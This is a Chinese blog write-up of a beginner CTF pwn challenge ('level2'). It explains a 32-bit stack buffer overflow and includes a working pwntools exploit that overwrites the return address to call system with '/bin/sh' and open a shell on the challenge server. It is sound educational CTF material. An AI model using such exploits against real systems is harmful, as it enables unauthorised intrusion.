pwn刷题num2---ret2syscall

61 篇文章 1 订阅
17 篇文章 0 订阅

攻防世界pwn新手区—level2

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

32位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接

用ida查看一下
找到主函数

进入子函数vulnerable_function()

又是一个栈溢出(buf分配0x88字节大小空间,read函数读入0x100字节,可覆盖返回地址)
查看一下buf所在栈空间
在这里插入图片描述
在这里插入图片描述
buf距离返回地址(r)0x8c(0x88+0x4)字节
寻找后门函数发现主函数和子函数都存在system函数,但都不能获得shell,需要自己修改system函数的参数为/bin/sh
首先找到system的plt表地址0x8048320
在这里插入图片描述
再找到/bin/sh字符串地址0x804a024
在这里插入图片描述
编写exp

'''
栈溢出+system地址+字符串/bin/sh地址
'''
from pwn import *
context(endian = 'little',os = 'linux',arch = 'i386',log_level = 'debug')
sh = remote('111.200.241.244',57164)
system_addr = 0x8048320
bin_sh_addr= 0x0804A024
payload = flat(['a' * 0x88,'b' * 0x4,system_addr,'aaaa',bin_sh_addr])
sh.sendline(payload)
sh.interactive()

执行脚本获得shell
在这里插入图片描述

附上链接
x32和x64函数传参方式

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值